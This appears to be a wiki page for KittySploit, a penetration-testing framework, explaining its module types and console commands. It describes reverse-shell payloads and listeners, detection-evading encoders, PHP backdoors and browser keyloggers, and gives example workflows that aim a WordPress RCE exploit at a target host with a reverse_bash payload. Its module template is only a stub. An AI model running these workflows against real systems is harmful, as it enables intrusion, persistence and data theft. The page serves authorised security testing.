-
Notifications
You must be signed in to change notification settings - Fork 0
Modules.md
Modules are the heart of KittySploit. This guide explains how to use and understand modules.
A module is a code unit that performs a specific task (exploit, scan, payload, etc.). All modules inherit from BaseModule and follow a standardized structure.
Exploit specific vulnerabilities to gain access or execute code.
Example:
use exploits/http/wordpress_rceAuxiliary modules for various tasks:
- Scanners
- Fuzzers
- Enumerators
- DoS
Example:
use auxiliary/scanner/http/apache_vuln_scannerGenerate payloads for exploits.
Types:
- Singles - Standalone payloads
- Stagers - First stage of a multi-stage payload
Example:
use payloads/singles/cmd/unix/reverse_bashListen for incoming connections and create sessions.
Types:
- Reverse - Listens and waits for a connection from the target
- Bind - Connects to a port on the target
Example:
use listeners/multi/reverse_tcpPost-exploitation modules for:
- Enumeration
- Privilege escalation
- Persistence
- Pivot
Example:
use post/linux/gather/enum_usersSpecialized scanners to detect vulnerabilities.
Example:
use scanner/http/wordpress_scannerEncode payloads to avoid detection.
Example:
use encoders/x86/xorCreate backdoors on compromised systems.
Example:
use backdoors/php/php_cookieModules to interact with browsers:
- Keyloggers
- Cookie harvesting
- Form capture
- XSS scanners
Example:
use browser_auxiliary/misc/keyloggersearch <term>Examples:
search wordpress
search rce
search scanneruse <module_path>Examples:
use exploits/http/wordpress_rce
use auxiliary/scanner/http/apache_vuln_scanner
use listeners/multi/reverse_tcpinfoDisplays:
- Name and description
- Author
- References (CVE, etc.)
- Available options
show optionsDisplays all module options with:
- Current value
- Whether the option is required
- Description
set <option> <value>Examples:
set RHOST 192.168.1.100
set RPORT 80
set TARGETURI /wordpress
set LHOST 192.168.1.50
set LPORT 4444show advancedunset <option>
# or
set <option> ""run
# or for exploits
exploit- RHOST - Target host (IP address)
- RPORT - Target port
- TARGETURI - Base URI (for web exploits)
- SSL - Use SSL/TLS
- TIMEOUT - Connection timeout
- LHOST - Local IP address to listen on
- LPORT - Local port to listen on
- HANDLER - Handler type (reverse/bind)
- LHOST - Listener IP address
- LPORT - Listener port
- ENCODER - Encoder to use
- FORMAT - Output format
compatible_payloadsDisplays payloads compatible with the current module.
set PAYLOAD <payload_path>Example:
set PAYLOAD payloads/singles/cmd/unix/reverse_bash# 1. Load the exploit
use exploits/http/wordpress_rce
# 2. Configure options
set RHOST 192.168.1.100
set RPORT 80
set TARGETURI /wordpress
# 3. Verify
show options
# 4. Execute
run# 1. Load the scanner
use auxiliary/scanner/http/apache_vuln_scanner
# 2. Configure
set RHOSTS 192.168.1.0/24
set RPORT 80
set THREADS 10
# 3. Execute
run# 1. Load the listener
use listeners/multi/reverse_tcp
# 2. Configure
set LHOST 192.168.1.50
set LPORT 4444
# 3. Start
run# 1. Load the exploit
use exploits/http/wordpress_rce
# 2. Configure the exploit
set RHOST 192.168.1.100
set RPORT 80
# 3. Set the payload
set PAYLOAD payloads/singles/cmd/unix/reverse_bash
# 4. Configure the payload
set LHOST 192.168.1.50
set LPORT 4444
# 5. Execute
exploitA typical module looks like this:
from core.framework.base_module import BaseModule
from core.framework.option.option_string import OptString
from core.framework.option.option_port import OptPort
class Module(BaseModule):
__info__ = {
'name': 'WordPress RCE',
'description': 'Remote Code Execution in WordPress',
'author': 'Author Name',
'references': ['CVE-2023-XXXXX'],
'cve': 'CVE-2023-XXXXX',
}
RHOST = OptString("", "Target host", True)
RPORT = OptPort(80, "Target port", True)
TARGETURI = OptString("/", "Base URI", False)
def run(self):
# Exploit logic
target = f"http://{self.RHOST}:{self.RPORT}{self.TARGETURI}"
# ...
return True-
Always verify options with
show optionsbefore executing - Use compatible payloads with your exploit
- Configure listeners before executing exploits
- Check prerequisites (CVE, version, etc.)
- Test in isolated environment before production
# Verify the path is correct
show modules
# Search for the module
search <name># Check required options
show options
# Options marked "Required: True" must be set- Check logs
- Check network connectivity
- Check module prerequisites
- Development - Create your own modules
- Module Types - Details on each type
- CLI Reference - All commands
- Browser Auxiliary - Browser auxiliary modules
Need help? Check Troubleshooting